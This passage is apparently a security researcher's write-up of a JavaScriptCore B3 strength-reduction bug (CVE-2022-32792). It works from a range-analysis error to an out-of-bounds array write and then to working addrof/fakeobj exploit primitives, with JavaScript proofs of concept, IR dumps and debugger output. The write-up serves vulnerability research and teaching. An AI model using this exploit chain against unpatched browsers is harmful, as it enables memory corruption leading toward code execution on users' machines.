             IntRange leftRange = rangeFor(m_value->child(0));
             IntRange rightRange = rangeFor(m_value->child(1));
+            dataLogLn("CheckAdd overflow check: ", leftRange, " + ", rightRange);
             if (!leftRange.couldOverflowAdd(rightRange, m_value->type())) {
+                dataLogLn("CheckAdd reduced");
                 replaceWithNewValue(
                     m_proc.add<Value>(Add, m_value->origin(), m_value->child(0), va
                 break;
+            } else {
+                dataLogLn("CheckAdd not reduced");
             }
```

```
                break;
            }
@@ -2148,10 +2155,14 @@

                IntRange leftRange = rangeFor(m_value->child(0));
                IntRange rightRange = rangeFor(m_value->child(1));
+               dataLogLn("CheckSub overflow check: ", leftRange, " + ", rightRange);
                if (!leftRange.couldOverflowSub(rightRange, m_value->type())) {
+                   dataLogLn("CheckSub reduced");
                    replaceWithNewValue(
                        m_proc.add<Value>(Sub, m_value->origin(), m_value->child(0), m_va
                    break;
+               } else {
+                   dataLogLn("CheckSub not reduced");
                }
                break;
            }
@@ -2716,13 +2727,17 @@
        // analysis.
        IntRange rangeFor(Value* value, unsigned timeToLive = 5)
        {
+
            if (!timeToLive)
                return IntRange::top(value->type());
+
+           dataLogLn("rangeFor const (", timeToLive, "): ", value->opcode());

            switch (value->opcode()) {
            case Const32:
            case Const64: {
                int64_t intValue = value->asInt();
+               dataLogLn("rangeFor const: ", intValue);
                return IntRange(intValue, intValue);
            }

@@ -2766,8 +2781,11 @@

            case SExt8:
            case SExt16:
-           case SExt32:
-               return rangeFor(value->child(0), timeToLive - 1);
+           case SExt32: {
+               IntRange res = rangeFor(value->child(0), timeToLive - 1);
+               dataLogLn("rangeFor (SExt): ", "[", res.min(), ", ", res.max(), "]");
+               return res;
+           }
```

```
        case ZExt32:
            return rangeFor(value->child(0), timeToLive - 1).zExt32();
```

```
// poc2.js
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    if (a < 2) print(a, " ", lhs)
    return lhs - rhs;
}

noInline(foo);

function main() {
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(i);
    }
    print(foo(0))
    print(foo(1))
}

noDFG(main)
main()
```

I've patched `B3ReduceStrength.cpp` to print the ranges returned by `RangeFor` for `SExt` opcodes.

The program above will print:

```
> ~/webkit-2.36.3/WebKitBuild/Debug/bin/jsc --dumpDisassembly=true --useConcurrentJIT=
0   32767
1   -32768
```

So, in reality, the range is `[-32768, 32767]` .

But from using `dataLogLn` , we see `rangeFor` thinks that the range is:

```
rangeFor (SExt): [32767, 32768]
```

There is a correctness issue here. To turn this problem into a vulnerability, we will have to abuse a missing overflow check into an OOB access.

Before proceeding further, here's an explanation of what happens in `foo`.

```
let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
```

The line above can be broken down into the following operations/instructions:

1. `& 1` - `BitAnd` instruction to generate a range of `[0, 1]`
2. `+ 0x7fff` - `Add` instruction to generate a range of `[0x7fff, 0x8000]`
3. `<< 16) >> 16` - `Shl` followed by `Shr`, will be strength-reduced into a `SExt16`

The only unfamiliar part is `a|0`. This is to tell the compiler to use `a` as a 32-bit integer. Otherwise, it may decide to treat it as a 64-bit integer or a `Double`, if it realizes that 32-bit is too small and may overflow.

While developing the exploit, it was very important for me to keep everything in 32-bit. There are huge problems if the compiler decides on using the other data types.

- 64-bit: This is kinda fine. But if we want to overflow a 64-bit number, we will have to add/subtract it with a massive 64-bit number. Note that JS `Number`s only have 52 bits. So it is not very straightforward to make a 64-bit number. There are all kinds of things that may happen, e.g. JSC will treat the large 64-bit number as a `Double`.
- `Double` - Obviously this is not fine. If the value is converted to a `Double`, it is GG. There's no such thing as overflow anymore.

Confirming the underflow

The idea now is, if `lhs` is subtracted by a very large number, it can underflow because the `CheckAdd` is converted into an `Add`, there is no more overflow check. (B3 likes to convert subtractions into additions of negative numbers.)

Also, it is important to know exactly what data type JS is treating the values as. In particular, they need to be treated as `Int32` values. The reason was described above.

The following code shows an interesting behaviour:

```
function foo(a) {
    // let arr = [1, 2, 3];
```

```
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-5);    // just an arbitrary very negative constant

    if (a < 2) {
        print("a: ", a)
        print("lhs: ", lhs)
        print("rhs: ", describe(rhs));
        print("result by print(describe(lhs+rhs)): ", describe(lhs + rhs));
        print("");
    }
    // idx += -0x7ffffff9;
    return lhs + rhs;
}

noInline(foo);

function main() {
        print("===    Before JIT    ===")
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(i);
    }
    print("=== foo(0) after JIT ===")
    print("result as return value: ", describe(foo(0)))

    print("=== foo(1) after JIT ===")
    print("result as return value: ", describe(foo(1)))
}

noDFG(main)
main()
```

```
===    Before JIT    ===
a:  0
lhs:  32767
rhs:  Int32: -2147483643
result not as return value:  Int32: -2147450876

a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result not as return value:  Double: -4476577960897282048, -2147516411.000000

=== foo(0) after JIT ===
a:  0
lhs:  32767
rhs:  Int32: -2147483643
result by print(describe(lhs+rhs)):  Int32: -2147450876
```

```
result as return value:  Int32: -2147450876
=== foo(1) after JIT ===
a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result by print(describe(lhs+rhs)):  Int32: 2147450885

result as return value:  Double: -4476577960897282048, -2147516411.000000
```

For `foo(1)` after JIT, the result of the subtraction (by `print(describe(lhs + rhs))` , not the return value) is an `Int32` that has underflowed. Both `lhs` and `rhs` are negative values but the result is positive. But, somehow when returning this value, this value was converted into a `Double` . Whereas for `foo(0)` after JIT, the result was consistently stored as `Int32` in both cases of being a return value and printed via `print(describe(lhs+rhs))` .

This is an interesting behaviour. Why would the result of the same addition be represented in 2 different forms under 2 different situations?

It's good to take a look at the b3 code for the statement `return lhs + rhs` .

```
--- lhs ---
b3  BB#3: ; frequency = 1.000000
b3    Predecessors: #0
...
b3      Int32 b@174 = BitAnd(b@99, $1(b@173), D@33)
b3      Int32 b@184 = Const32(32767, D@36)
b3      Int32 b@185 = Add(b@174, $32767(b@184), D@37)
b3      Int32 b@27 = SExt16(b@185, D@44)
b3      Int32 b@227 = Const32(2, D@50)
b3      Int32 b@228 = LessThan(b@99, $2(b@227), D@51)
b3      Void b@232 = Branch(b@228, Terminal, D@52)
b3    Successors: Then:#3, Else:#5

--- lhs + rhs ---
b3  BB#5: ; frequency = 1.000000
b3    Predecessors: #0, #3
b3      Int64 b@541 = SExt32(b@27, D@31<Int52>)
b3      Int64 b@84 = Const64(-2147483643, D@27<Int52>)
b3      Int64 b@545 = Add(b@541, $-2147483643(b@84), D@77<Int52>)
b3      Int32 b@555 = Trunc(b@545, D@26)
b3      Int64 b@556 = SExt32(b@555, D@26)
b3      Int32 b@557 = Equal(b@545, b@556, D@26)
...
```

```
b3      Void b@558 = Branch(b@557, Terminal, D@26)
b3    Successors: Then:#6, Else:#7
b3  BB#6: ; frequency = 1.000000
b3    Predecessors: #5
b3      Int64 b@559 = ZExt32(b@555, D@26)
b3      Int64 b@560 = Add(b@559, $-562949953421312(b@14), D@26)
...
b3      Void b@526 = Return(b@560, Terminal, D@69)
b3  BB#7: ; frequency = 1.000000
b3    Predecessors: #5
b3      Double b@563 = IToD(b@545, D@26)
b3      Int64 b@564 = BitwiseCast(b@563, D@26)
b3      Int64 b@425 = Sub(b@564, $-562949953421312(b@14), D@26)
b3      Int64 b@5 = Identity(b@425, D@26)
...
b3      Void b@503 = Return(b@5, Terminal, D@69)
```

As we see above, there is no overflow check (`CheckAdd`) but just a plain `Add` in `b@545` . This is responsible for `lhs+rhs` . It should have been `CheckAdd` because it is possible to underflow.

Breaking down the b3 code seen above:

- BB#3 - creates `lhs` based on the sequence of operations (`BitAnd` , `Add` , `SExt16`).
- BB#5 - adds (`b@545`) the large negative constant (`b@84`) to `lhs` .
  - It checks if the addition results in a value that takes up more than 32 bits (`b@555 Trunc` , `b@556 SExt32` , `b@557 Equal`).
  - Although `CheckAdd` was reduced to `Add` , the compiler now suspects that the result of the operation may require up-casting the value to be stored with more bits.
- BB#6 - If 32-bit is enough, add the constant `0xfffe000000000000` (`b@560 Add`), and return the result (`b@560 Return`).
  - This constant is for encoding the raw 32-bit integer into a `JSValue` (read more about NaN-boxing if you're unfamiliar)
- BB#7 - If 32-bit is not enough, turn it into a `Double` and return it.
  - This is obviously the path that we hate the program to take.

Investigating the weird behaviour

In this mini-section, we will describe on why the same operation can be represented in 2 different forms as observed above. It is not at all relevant to the bug, but it's good to document this down because it is a quite problematic situation. In the end, the observations made here were not needed in developing the exploit. It may be fine to just skip to the next section.

This time we wrote a very similar piece of code, but this time `lhs + rhs` is stored into a variable `res` before calling `describe` on it.

```
function foo(a) {
    // let arr = [1, 2, 3];
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-1-4);
    let res = lhs + rhs;

    if (a < 2) {
        print("a: ", a)
        print("lhs: ", lhs)
        print("rhs: ", describe(rhs));
        print("result not as return value: ", describe(res));
        print("");
    }
    return res;
}
```

```
=== foo(1) after JIT ===
a:  1
lhs:  -32768
rhs:  Int32: -2147483643
result not as return value:  Double: -4476577960897282048, -2147516411.000000

result as return value:  Double: -4476577960897282048, -2147516411.000000
```

This time, `describe(res)` also says that `res` is a `Double`. Indeed an interesting behaviour:

- `lhs + rhs` itself is an `Int32` that has underflowed
- `res = lhs + rhs` - an assignment will convert the value to a `Double`

The former is represented with as a 32-bit value, latter as 64-bit.

```
➜  cve-2022-32792-b3-strength-reduce gdb -q
(gdb) p/x -2147483643-32768
$1 = 0x7fff8005

➜  cve-2022-32792-b3-strength-reduce python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> -2147483643-32768
-2147516411
```

The following b3 code pattern (`Trunc` > `SExt32` > `Equal` > `Branch`) is observed again. It checks if the value to store takes up more than 32 bits. If yes, it will convert it to a `Double` before storing it.

```
b3      Int64 b@545 = Add(b@541, $-2147483643(b@84), D@77<Int52>)
b3      Int32 b@555 = Trunc(b@545, D@26)
b3      Int64 b@556 = SExt32(b@555, D@26)
b3      Int32 b@557 = Equal(b@545, b@556, D@26)
b3      Int64 b@4 = Const64(296352744761, D@69)
b3      Void b@558 = Branch(b@557, Terminal, D@26)
```

Upon more investigating, we think the reason is this:

1. When assigning `lhs+rhs` to a variable, or as a return value, there will always be code that checks if it overflowed, and whether to convert to a `Double` .
    - With the bug, only the overflow check is removed. (If someone knows more about this behaviour please discuss it with me.)
2. Somehow, when calling `print` or `describe` , it doesn't have such code. It somehow continues to treat `lhs+rhs` as an `Int32` , while the whole strength reduction is still involved. This is the only way we can bypass an overflow guard.
    - But these are functions that only exist in JSC for debugging purposes so they can't be used in an exploit.

We tried to find other operations/functions that have the behaviour in (2), but could not find any.

Tricking the compiler to use `Int32`

Continuing the previous mini-section. In the end, the stuff here was not used as part of the exploit. It may be fine to skip this.

We tried a different approach. We tried to force the result of `lhs+rhs` to be stored as `Int32`. Then we remembered seeing this trick used somewhere.

```
let tmp = 100;                // [1] just some integer, so tmp is Int32
if (...) tmp = lhs + rhs;     // [2] after assignment, tmp is Int32
return tmp + 1;               // [3] tmp stays as Int32
```

Somehow when there is an `if` block that writes a variable ([2]), in between an **integer assignment/declaration** ([1]) and an **arithmetic operation involving integers** ([3]) on that variable, JSC will make sure it is an `Int32`, both inside and outside the block. We don't know why. If there is a possible overflow in the `if` block, the variable will be stored as a `Double` but converted back to an `Int32` when it leaves the `if` block. Maybe it's got to do with the `Phi` nodes in the DFG.

```
function foo(a) {
    let tmp = 10;

    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-5);
    if (a < 2) {
        tmp = lhs + rhs;
    }

    return tmp;
}

noInline(foo);

function main() {
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(i);
        if (i < 2) print(describe(result));
    }
    print("=== foo(0) after JIT ===")
    print("result as return value: ", describe(foo(0)))

    print("=== foo(1) after JIT ===")
    print("result as return value: ", describe(foo(1)))
}

noDFG(main)
// noDFG(goo)
main()
```

```
Int32: -2147450876
Double: -4476577960897282048, -2147516411.000000
=== foo(0) after JIT ===
result as return value:  Int32: -2147450876
=== foo(1) after JIT ===
result as return value:  Int32: 2147450885
```

Good results 💪. The result of `lhs+rhs` is an underflowed `Int32`.

Take a look at the b3 code again:

```
b3 BB#0: ; frequency = 1.000000
...
b3      Int32 b@160 = Const32(1, D@37)
b3      Int32 b@161 = BitAnd(b@74, $1(b@160), D@38)
b3      Int32 b@171 = Const32(32767, D@41)
b3      Int32 b@172 = Add(b@161, $32767(b@171), D@42)
b3      Int32 b@27 = SExt16(b@172, D@49)

b3      Int32 b@214 = Const32(2, D@55)
b3      Int32 b@215 = LessThan(b@74, $2(b@214), D@56)
b3      Int64 b@6 = Const64(279172875577, D@65)
b3      Void b@219 = Branch(b@215, Terminal, D@57)
b3    Successors: Then:#3, Else:#4

b3  BB#3: ; frequency = 1.000000
b3    Predecessors: #0
b3      Int32 b@3 = Const32(-2147483643, D@52)
b3      Int32 b@2 = Add(b@27, $-2147483643(b@3), D@60)
b3      Int64 b@237 = ZExt32(b@2, D@71)
b3      Int64 b@238 = Add(b@237, $-562949953421312(b@15), D@71)
...
b3      Void b@230 = Return(b@238, Terminal, D@65)

b3  BB#4: ; frequency = 1.000000
b3    Predecessors: #0
...
b3      Int64 b@12 = Const64(-562949953421302, D@29)
b3      Void b@0 = Return($-562949953421302(b@12), Terminal, D@65)
```

A breakdown of the code above:

- BB#0 has 2 parts
  - The first part is the creation of `lhs`, already seen earlier.
  - The second part checks if `a < 2`.

- BB#3 - when `a < 2` is true, entering the `if` block
  - It adds (`b@2 Add`) the large negative constant (`b@3 Const32`) to `lhs` .
  - Then encodes it to a `JSValue` with the `0xfffe000000000000` "header".
  - Finally, returns the result.

- BB#4 - when `a >= 2`
  - Returns a constant `0xfffe00000000000a` (which is `10` as an integer `JSValue`).

For reference: (either return `10` or `lhs + rhs` , both as `Int32`)

```
(gdb) p/x -562949953421302
$2 = 0xfffe00000000000a
(gdb) p/x -562949953421312
$3 = 0xfffe000000000000
```

Converting the underflow to OOB array access

This part takes heavy inspiration from the exploit in JITSploitation I by Samuel Groß on the Project Zero blog. It is mostly the same except for some tweaks needed for it to work on this bug. Also, the bug used in the article occurred in DFG whereas the one in this post resides in B3.

Here, try a simple array access:

```
function foo(a) {
    let arr = [1, 2, 3];
    let idx = 1;

    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16);
    let rhs = -(0x80000000-1-4);
    if (a < 2) {
        idx = lhs + rhs;
    }

    // at this point tmp is an underflowed Int32 value
    // no overflow/underflow checks
    if (idx > 0) return arr[idx];
    return idx;
}
```

There's an `AboveEqual` check to see if OOB. Note that `AboveEqual` is an unsigned comparison so it doesn't need to have 2 checks (one for `idx > arr.length` and another for `idx < 0`).

```
b3      Int32 b@401 = Const32(3, D@70)
b3      Int32 b@326 = AboveEqual(b@9, $3(b@401), D@67)
b3      Void b@327 = Check(b@326:WarmAny, b@9:ColdAny, b@188:ColdAny, generator = 0x7
```

We must get rid of this check. According to the P0 article, in the DFG optimization stage, the indexed access into `arr` (`arr[idx]`) will be lowered by the `DFGSSALoweringPhase` into:

1. A `CheckInBounds` node, followed by
2. A `GetByVal` that has no bounds checks

Later, the `DFGIntegerRangeOptimizationPhase` will remove the `CheckInBounds` if it can prove that the array access is always within `[0, arr.length)` . We didn't research much into how this works internally, but here's a concrete example of how this works.

For this simple array access:

```
    if (idx > 0) {
        if (idx < arr.length) {
            return arr[idx];
        }
    }
```

The b3 code generated does not have the `AboveEqual` & `Check` instructions. They are gone.

Knowing this, We should work towards writing JS code in the following structure. Adding on to what worked earlier:

```
function foo(arr, a) {
        // let lhs be something smaller than arr.length, so that later when assigned 
        // it can enter the if block
        // lhs is either 32767 or -32768
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16) - 32766;
    let rhs = -(0x80000000-5);

        // this is the trick used earlier to make idx a Int32 and never a Double
        let idx = 0;
```

```
        if (a < 2) idx = lhs;

    if (idx < arr.length) {
            // trigger the underflow on idx
            idx += rhs;

                // idx has underflowed and is now a positive number
                // so, it will enter the following if-block
        if (idx > 0) {
                // based on the structure of the if blocks, idx must be in the range (
                // so IntegerRangeOptimization will remove the bounds checks on
                // at this point, the bounds check is gone
                // so do an oob read
            return arr[idx];
        }
    }

        return idx;
}
```

This looks like it should work. But it doesn't. Here are the reasons why:

1. `idx` inside the `if (idx < arr.length)` block is a `Phi` value, due to the `if (a < 2)` block. `rangeFor` will give it a `top` range.
    - If `idx` is considered to have a `top` range, then any `CheckAdd` that follows will be considered as possible to overflow. So the `CheckAdd` won't be replaced with a normal `Add`.
2. When the program is executed many times in the interpreter/Baseline JIT, JSC will profile the types of the values. It will see that `idx += rhs` causes `idx` to underflow, so the profiler will record this information. When tiering up to the DFG/FTL JIT, `idx` will be given a `Double` representation.

OOB Read Crash :D

Knowing the problems above. The only thing left is to just work around them.

After many tries... The following program causes JSC to crash with a page fault as it reads from unmapped memory :D

```
function foo(arr, a) {
        // let lhs be something smaller than arr.length, so that later when assigned t
        // it can enter the if block
```

```
        // lhs is either 32767 or -32768
    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16) - 32766;
    let rhs = -(0x80000000-5);

        // perhaps because of the `if (a == 1)` block below,
        // the `if (a < 2)` trick is no longer needed to force idx to be an Int32 inst
        // lhs/idx is always treated as an Int32 maybe because it is not observed to u
        // honestly im not sure...
        // anyway, remove that `if (a < 2)` block to solve problem (1)

        // idx is now either -65534 or 1, both satisfy idx < arr.length
    let idx = lhs;

    if (idx < arr.length) {
                // solution for problem (2)
        // only do this addition for a == 1, i.e. dont do it every time
        // otherwise the compiler may realize that underflow happens and turn idx into
        // when a == 1, idx = -65534
        //
                // at this point idx is proven to be below arr's length
                // if we subtract from it, it will stay below (it is assumed that an o
                // but we can abuse the bug to get rid of the underflow guard, breakin
                // allowing idx to be greater than arr.length
        //
        // `rangeFor` was mistaken, it thinks that the range of idx is [0, 1]
        // so it will optimize away the overflow/underflow check in the following line
        // so idx will underflow into a positive number
        if (a == 1) idx += rhs;

                // idx has underflowed and is now a positive number
                // so, it will enter the following if-block
        if (idx > 0) {
                // based on the structure of the if blocks, idx must be in the range o
                // so IntegerRangeOptimization will remove the bounds checks on
                // at this point, the bounds check is gone
                // so do an oob read
            return arr[idx];
        }
    }
}

noInline(foo);

function main() {
    let arr = [1, 2, 3];
    for (var i = 0; i < 1e6; ++i) {
        var result = foo(arr, i);
    }
```

```
    foo(arr, 1)
}

noDFG(main)
// noDFG(goo)
main()
```

```
[ Legend: Modified register | Code | Heap | Stack | String ]
$rax   : 0x5400000168
$rbx   : 0xe807e500
$rcx   : 0xffff8000
$rdx   : 0x7fff0002
$rsp   : 0x007fffffffd4d0  →  0x0000000000000000
$rbp   : 0x007fffffffd500  →  0x007fffffffd5d0  →  0x007fffffffd640  →  0x007fffffffd(
$rsi   : 0x1
$rdi   : 0x007fffa600cce0  →  0x0000005400000168
$rip   : 0x007fffa7247f1b  →  0x0fc08548d0048b49
$r8    : 0x007ff83c018010  →  0xfffe000000000001
$r9    : 0x007fffffffd510  →  0x007fffa64d84c0  →  0x100120000005030 ("0P"?)
$r10   : 0x007ffff55e1f4c  →  <operationLinkCall+0> endbr64
$r11   : 0x007fffa600cad8  →  0x00007ffffb1dc30
$r12   : 0x007fffe8051310  →  0x74007400740074 ("t"?)
$r13   : 0x007fffe80a9b80  →  0x00007fff00000001
$r14   : 0xfffe000000000000
$r15   : 0xfffe000000000002
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtu
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
   0x7fffa7247f08                jle    0x7fffa7247ee5
   0x7fffa7247f0e                movabs rax, 0x5400000168
   0x7fffa7247f18                mov    QWORD PTR [rdi], rax
 → 0x7fffa7247f1b                mov    rax, QWORD PTR [r8+rdx*8]
   0x7fffa7247f1f                test   rax, rax
   0x7fffa7247f22                je     0x7fffa7247ff8
   0x7fffa7247f28                movabs rcx, 0x5700000539
   0x7fffa7247f32                mov    QWORD PTR [rdi], rcx
   0x7fffa7247f35                mov    rsp, rbp
[#0] Id 1, Name: "jsc", stopped 0x7fffa7247f1b in ?? (), reason: SIGSEGV
[#1] Id 2, Name: "jsc", stopped 0x7ffff3c50197 in __futex_abstimed_wait_common64 (), r
[#0] 0x7fffa7247f1b → mov rax, QWORD PTR [r8+rdx*8]
```

An OOB access at index `0x7fff0002`. Obviously, the next step is to make this index smaller so we can overwrite more useful structures in memory. This is quite simple too.

```
function hax(arr, a) {
    let idx = 0;

    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16) - 32766;
    let rhs = -(0x80000000-1-4);

    if (lhs < arr.length) {
        idx = lhs;
        // only do this for a == 1, i.e. dont do it every time
        // otherwise B3 may realize that underflow happens and turn idx into a Double
        if (a == 1) idx += rhs;

        if (idx > 0) {
            // at this point, idx = 0x7fff0007
            if (a == 1) idx -= 0x7fff0000;  // so that idx = 7,

                        // check idx > 0 again, for IntegerRangeOptimization to prove
                        // idx falls within the range (0, arr.length)
            if (idx > 0) {
                // at this point the bounds check is gone!
                // overwrite the lengths field of the adjacent array with 0x133700013
                arr[idx] = 1.04380972981885e-310;
                return arr[idx];
            }
        }
    }

    return idx;
}
```

Final Steps: Building the `addrof` / `fakeobj` primitives

Here, we just followed the next steps by saelo in the JITSploitation I blog post, to corrupt the length and capacity fields of an adjacent array of `Double` s, so that it overlaps with an array of objects.

Understanding the internal structures

Before doing so, it is good to gain a better understanding of what the `JSArray` structures look like internally. We wrote a simple script, and run JSC with this script inside GDB.

```
function main() {
    let target = [0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let float_arr = [0, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let obj_arr = [{}, {}, {}, {}, {}, {}, {}];

    print(describe(target));
    print(describe(float_arr));
    print(describe(obj_arr));

        // sleep so that we can press Ctrl+C and check the memory contents
    sleepSeconds(5);
}

main()
```

A short explanation on what the 3 arrays are for. We intend to access `target` out-of-bounds, to overwrite the length field of `float_arr`. Then, `float_arr` will have a larger length, letting it overlap with `obj_arr`.

```
+------------------+     +----------------+----------------
|target            |     |float_arr       |obj_arr
++-----+-----+-----+-----+-----+-----+-----+-----+-----+----
|| 0   | 1.1 | ... | len | 0   | 1.1 | ... | {}  | {}  | ...
++-----+-----+-----+-----+-----+-----+-----+-----+-----+----
                  float_arr's                obj_arr[0]
                    length
                                          also float_arr[8]
                 also target[7]
```

As illustrated in the diagram above, `target[7]` can overwrite `float_arr`'s length with something big like `0x1337`. Now, we can access `float_arr[8]` which corresponds to `obj_arr`. There is a type confusion problem. This allows us to read the address of the object stored in `obj_arr[0]` as a `Double` through `float_arr[8]`. Alternatively, use `float_arr[8]` to put the address of a custom-crafted object there as a `Double`, and `obj_arr[0]` will treat it as an object.

Running the program above gives the following output:

```
Object: 0x7f5f2e023268 with butterfly 0x7f584c018010(base=0x7f584c018008) (Structure (
Object: 0x7f5f2e023e68 with butterfly 0x7f584c018060(base=0x7f584c018058) (Structure (
Object: 0x7f5f2e023ee8 with butterfly 0x7f584c0043c8(base=0x7f584c0043c0) (Structure (
```

Notice that the first 2 arrays are of the type `CopyOnWriteArrayWithDouble`. Honestly, we don't know what's bad about this, but in the P0 blog post, saelo says that the arrays will result in the wrong heap layout. So, create the arrays in the following way instead.

```
let noCoW = 0;
let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let obj_arr = [{}, {}, {}, {}, {}, {}, {}];
```

This time, they have the type `ArrayWithDouble` instead.

```
Object: 0x7fffe8022c68 with butterfly 0x7ff8010043c8(base=0x7ff8010043c0) (Structure (
Object: 0x7fffe8022ce8 with butterfly 0x7ff801004408(base=0x7ff801004400) (Structure (
Object: 0x7fffe8022d68 with butterfly 0x7ff801004448(base=0x7ff801004440) (Structure (
```

The addresses of the 3 butterflies (short description about butterflies) are:

- `target - 0x7ff8010043c8`
- `float_arr - 0x7ff801004408`
- `obj_arr - 0x7ff801004448`

Examining the memory contents in GDB:

```
# contents of `target`
gef➤  x/7f 0x7ff8010043c8
0x7ff8010043c8: 0       1.1000000000000001
0x7ff8010043d8: 2.2000000000000002      3.2999999999999998
0x7ff8010043e8: 4.4000000000000004      5.5
0x7ff8010043f8: 6.5999999999999996

# length and capacity fields of `float_arr`
gef➤  x/2wx 0x7ff801004400
0x7ff801004400: 0x00000007      0x00000007

# contents of `float_arr`
gef➤  x/7f 0x7ff801004408
0x7ff801004408: 0       1.1000000000000001
```

```
0x7ff801004418: 2.2000000000000002      3.2999999999999998
0x7ff801004428: 4.4000000000000004      5.5
0x7ff801004438: 6.5999999999999996

# length and capacity fields of `obj_arr`
gef➤  x/2wx 0x7ff801004440
0x7ff801004440: 0x00000007      0x00000007

# contents of `obj_arr`
gef➤  deref 0x7ff801004448
0x007ff801004448│+0x0000: 0x007fffa645c040  →  0x0100180000005ab0
0x007ff801004450│+0x0008: 0x007fffa645c080  →  0x0100180000005ab0
0x007ff801004458│+0x0010: 0x007fffa645c0c0  →  0x0100180000005ab0
0x007ff801004460│+0x0018: 0x007fffa645c100  →  0x0100180000005ab0
0x007ff801004468│+0x0020: 0x007fffa645c140  →  0x0100180000005ab0
0x007ff801004470│+0x0028: 0x007fffa645c180  →  0x0100180000005ab0
0x007ff801004478│+0x0030: 0x007fffa645c1c0  →  0x0100180000005ab0
```

As seen above, an OOB write into `target[7]` will overwrite the length and capacity fields of `float_arr`. And access to `float_arr[8]` will access `obj_arr[0]`.

`addrof` / `fakeobj` primitives

Following the plan described above, here's the POC that includes the `addrof` and `fakeobj` primitives.

```
function hax(arr, a) {
    let idx = 0;

    let lhs = (((((a|0) & 1) + 0x7fff) << 16) >> 16) - 32766;
    let rhs = -(0x80000000-1-4);

    if (lhs < arr.length) {
        idx = lhs;
        // only do this for a == 1, i.e. dont do it every time
        // otherwise B3 may realize that underflow happens and turn idx into a Double
        if (a == 1) idx += rhs;

        if (idx > 0) {
            // at this point, idx = 0x7fff0007
            if (a == 1) idx -= 0x7fff0000;  // so that idx = 7,
            if (idx > 0) {
                // at this point the bounds check is gone!
                arr[idx] = 1.04380972981885e-310;
                return arr[idx];
                // return arr[idx];
```

```
            }
        }
    }

    // somehow by doing so, it forces idx to always be an Int32
    return idx + 1;
}

function main() {
    let noCoW = 13.37;
    let target = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let float_arr = [noCoW, 1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
    let obj_arr = [{}, {}, {}, {}, {}, {}, {}];

    let arr = [1, 2, 3];

    print(describe(target));
    print(describe(float_arr));
    print(describe(obj_arr));
    for (var i = 0; i < 1e6; ++i) {
        hax(arr, i);
    }

    hax(target, 1);

    print("float_arr length: ", float_arr.length);

    const OVERLAP_IDX = 8;
    function addrof(obj) {
        obj_arr[0] = obj;
        return float_arr[OVERLAP_IDX];
    }
    function fakeobj(addr) {
        float_arr[OVERLAP_IDX] = addr;
        return obj_arr[0];
    }

    let obj = {a: 42};
    let addr = addrof(obj);
    print("my addrof(obj): ", addr);
    print("jsc's addressof(obj): ", addressOf(obj));

    let obj2 = fakeobj(addr);
    print("describe obj: ", describe(obj));
    print("describe fakeobj(addr): ", describe(obj2));
}

main()
```

```
float_arr length:  4919
my addrof(obj):  6.95328142740774e-310
jsc's addressof(obj):  6.95328142740774e-310

describe obj:  Object: 0x7fffa6444000 with butterfly (nil)(base=0xfffffffffffffff8) (S
describe fakeobj(addr):  Object: 0x7fffa6444000 with butterfly (nil)(base=0xffffffffff
```

Further Exploitation

After building these primitives, one can continue developing the exploit to gain arbitrary read/write primitives and finally gain code execution. As this post is only about the bug in the `B3ReduceStrength` phase, we will stop here.

Proof of Concept video:

It's Demo Time!

We thank everyone for spending time reading this. Special mention to all my team members at STAR Labs for proofreading it and giving suggestions to improve it.

References:

- http://www.phrack.org/issues/70/3.html

- https://github.com/sslab-gatech/pwn2own2020/blob/master/pwn.js
- https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html
- https://googleprojectzero.blogspot.com/2020/09/jitsploitation-three.html